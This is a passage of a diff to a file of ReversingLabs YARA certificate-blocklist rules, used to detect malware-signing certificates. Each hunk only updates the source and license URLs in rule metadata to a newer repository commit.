+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "034b233d6b6dd82ad9fa1ec99db1effa3daaa5bb478d448133c479ac728117ad"
 		score = 75
 		quality = 90
@@ -3031,8 +3084,8 @@ rule REVERSINGLABS_Cert_Blocklist_7D3250B27E0547C77307030491B42802 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1198-L1214"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1198-L1214"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "65f036921dfb9cbce3275aefb7111711e50874440096b2e3c3b55190cfc14ddb"
 		score = 75
 		quality = 90
@@ -3056,8 +3109,8 @@ rule REVERSINGLABS_Cert_Blocklist_00D1836Bd37C331A67 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1216-L1234"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1216-L1234"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8af1d10085c5be8924eb6e4ea3a9b8e936c7706d8ec43d42f24a9a293c7f9d27"
 		score = 75
 		quality = 90
@@ -3081,8 +3134,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Ca028D1A4De0Eb743135Edecf74D7Af : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1236-L1252"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1236-L1252"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "60b6351194e23153d425eaa0c25f840080a29abb5eb1bbcd41bb76a3d4130edd"
 		score = 75
 		quality = 90
@@ -3106,8 +3159,8 @@ rule REVERSINGLABS_Cert_Blocklist_Dbb14Dcf973Eada14Ece7Ea79C895C11 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1254-L1270"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1254-L1270"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c73c83f5cb6d840b887e1aa41e96a29529f975434ac27a5aa57f2e14b342f63d"
 		score = 75
 		quality = 90
@@ -3131,8 +3184,8 @@ rule REVERSINGLABS_Cert_Blocklist_F8C2239De3977B8D4A3Dcbedc9031A51 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1272-L1288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1272-L1288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "aa4f39790bc58b0a50e05e7670abad654d7f3d73e500bd5f054fece4a979ebfa"
 		score = 75
 		quality = 90
@@ -3156,8 +3209,8 @@ rule REVERSINGLABS_Cert_Blocklist_Caad8222705D3Fb3430E114A31C8C6A4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1290-L1306"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1290-L1306"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "35c4f46322da4f5b9f938c1098c8e57effc8abfc03db865190c343df7b8990ea"
 		score = 75
 		quality = 90
@@ -3181,8 +3234,8 @@ rule REVERSINGLABS_Cert_Blocklist_B191812516E6618D49E6Ccf5E63Dc343 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1308-L1324"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1308-L1324"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "40c03e683b4b8e8a23ca84da7dfd3bd998d3708b27b7df7a22f25fb364c3a69b"
 		score = 75
 		quality = 90
@@ -3206,8 +3259,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Ba7Fb8Ee1Deff8F4A1525E1E0580057 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1326-L1342"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1326-L1342"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "324157b9fec2653cb8874c7a1a5b6e39b121992cd52856b8c4a2a8b7cee86a69"
 		score = 75
 		quality = 90
@@ -3231,8 +3284,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Df9F7Eb6Cdc5Ca243B33122E3941E25 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1344-L1360"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1344-L1360"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "703eccd5573fe42f03ec82887660d50e942156d840394746c90ba87d82507803"
 		score = 75
 		quality = 90
@@ -3256,8 +3309,8 @@ rule REVERSINGLABS_Cert_Blocklist_58A541D50F9E2Fab4380C6A2Ed433B82 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1362-L1378"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1362-L1378"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "69ddc58b6fec159d6eded8c78237a6a0626b1aedb58b0c9867b758fd09db46ad"
 		score = 75
 		quality = 90
@@ -3281,8 +3334,8 @@ rule REVERSINGLABS_Cert_Blocklist_5F273626859Ae4Bc4Becbbeb71E2Ab2D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1380-L1396"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1380-L1396"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c8be504f075041508f299b1df03d9cb9e58d9a89f49b7a926676033d18b108ba"
 		score = 75
 		quality = 90
@@ -3306,8 +3359,8 @@ rule REVERSINGLABS_Cert_Blocklist_B1Ad46Ce4Db160B348C24F66C9663178 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1398-L1414"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1398-L1414"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "59ce2b7a2e881853d07446b3dda74b296f2be09651364d0e131552cf76dab751"
 		score = 75
 		quality = 90
@@ -3331,8 +3384,8 @@ rule REVERSINGLABS_Cert_Blocklist_256541E204619033F8B09F9Eb7C88Ef8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1416-L1432"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1416-L1432"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e33cedf1dd24ac73f77461de0cef25cad57909be2a69469fec450ead7da85c65"
 		score = 75
 		quality = 90
@@ -3356,8 +3409,8 @@ rule REVERSINGLABS_Cert_Blocklist_00E8Cc18Cf100B6B27443Ef26319398734 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1434-L1452"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1434-L1452"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "68e9df056109cae41d981090c7a98ddc192a445647d7475569ddbe4118e570c5"
 		score = 75
 		quality = 90
@@ -3381,8 +3434,8 @@ rule REVERSINGLABS_Cert_Blocklist_62Af28A7657Ba8Ab10Fa8E2D47250C69 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1454-L1470"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1454-L1470"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c3c034cb4e2c65e2269fbfd9c045eb294badde60389ae62ed694ea4d61c5eb35"
 		score = 75
 		quality = 90
@@ -3406,8 +3459,8 @@ rule REVERSINGLABS_Cert_Blocklist_04C8Eca7243208A110Dea926C7Ad89Ce : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1472-L1488"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1472-L1488"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0012436e83704397026a8b2e500e5d61915e0f4c8ad4100176e200a975562e8f"
 		score = 75
 		quality = 90
@@ -3431,8 +3484,8 @@ rule REVERSINGLABS_Cert_Blocklist_157C3A4A6Bcf35Cf8453E6B6C0072E1D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1490-L1506"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1490-L1506"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a68051ab6d0b967f08e44d91b9f13d75587ea0f16e2a5536ccf5898445e1a58"
 		score = 75
 		quality = 90
@@ -3456,8 +3509,8 @@ rule REVERSINGLABS_Cert_Blocklist_04422F12037Bc2032521Dbb6Ae02Ea0E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1508-L1524"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1508-L1524"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "381d749d24121d6634656fd33adcda5c3e500ee77a6333f525f351a2ee589e2c"
 		score = 75
 		quality = 90
@@ -3481,8 +3534,8 @@ rule REVERSINGLABS_Cert_Blocklist_65Eae6C98111Dc40Bf4F962Bf27227F2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1526-L1542"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1526-L1542"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "20c0f4e9783586e68ff363fe6a72398f6ea27aef5d25f98872d1203ce1a0c9bd"
 		score = 75
 		quality = 90
@@ -3506,8 +3559,8 @@ rule REVERSINGLABS_Cert_Blocklist_12D5A4B29Fe6156D4195Fba55Ae0D9A9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1544-L1560"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1544-L1560"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "860550745f6dbcd7dd0925d9b8f04e8e08e8b7c06343a4c070e131a815c42e12"
 		score = 75
 		quality = 90
@@ -3531,8 +3584,8 @@ rule REVERSINGLABS_Cert_Blocklist_0087D60D1E2B9374Eb7A735Dce4Bbdae56 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1562-L1580"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1562-L1580"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6e0d22e926a237f1cc6b71c6f8ce01e497723032c9efba1e6af7327a786b608"
 		score = 75
 		quality = 90
@@ -3556,8 +3609,8 @@ rule REVERSINGLABS_Cert_Blocklist_0860C8A7Ed18C3F030A32722Fd2B220C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1582-L1598"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1582-L1598"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3c777fb157a6669bfdf3143e77f69265e09458a2b42b75b72680eb043da71e85"
 		score = 75
 		quality = 90
@@ -3581,8 +3634,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Fdadd0740572270203F8138692C4A83 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1600-L1616"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1600-L1616"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "18ce7ed721a454c5bb3cd6ab26df703b1e08b94b8c518055feffa38ad42afa50"
 		score = 75
 		quality = 90
@@ -3606,8 +3659,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Fc13D6220C629043A26F81B1Cad72D8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1618-L1634"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1618-L1634"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5572c278f6c9be62b2bba09ea610fd170438c6893ee5283ff4a5b3bb2852b07b"
 		score = 75
 		quality = 90
@@ -3631,8 +3684,8 @@ rule REVERSINGLABS_Cert_Blocklist_3457A918C6D3701B2Eaca6A92474A7Cc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1636-L1652"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1636-L1652"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "70d4bece52a86bfe8958f6d4195b833cea609596e3b68bb90087c262501bd462"
 		score = 75
 		quality = 90
@@ -3656,8 +3709,8 @@ rule REVERSINGLABS_Cert_Blocklist_621Ed8265B0Ad872D9F4B4Ed6D560513 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1654-L1670"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1654-L1670"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c133d6eea5d27e597d0a656c7c930a5ca84adb46aa2fec66381b6b5c759e22aa"
 		score = 75
 		quality = 90
@@ -3681,8 +3734,8 @@ rule REVERSINGLABS_Cert_Blocklist_56E22B992B4C7F1Afeac1D63B492Bf54 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1672-L1688"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1672-L1688"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ef058c0ec352260fa3db0fc74331d1da3c9eb8d161cef7635632fd7c569198c6"
 		score = 75
 		quality = 90
@@ -3706,8 +3759,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Bc3Bae4118D46F3Fdd9Beeeab749Fee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1690-L1706"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1690-L1706"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fcbda27f8bf4dca8aa32103bb344380c82f0c701c25766df94c182ef94805a12"
 		score = 75
 		quality = 90
@@ -3731,8 +3784,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F0449F7691E5B4C8E74E71Cae822179 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1708-L1724"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1708-L1724"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f8d3593b357f27240a4399e877ae9044f783bb944ad47ec9fe8bbecc63be864c"
 		score = 75
 		quality = 90
@@ -3756,8 +3809,8 @@ rule REVERSINGLABS_Cert_Blocklist_43Db4448D870D7Bdc275F36A01Fba36F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
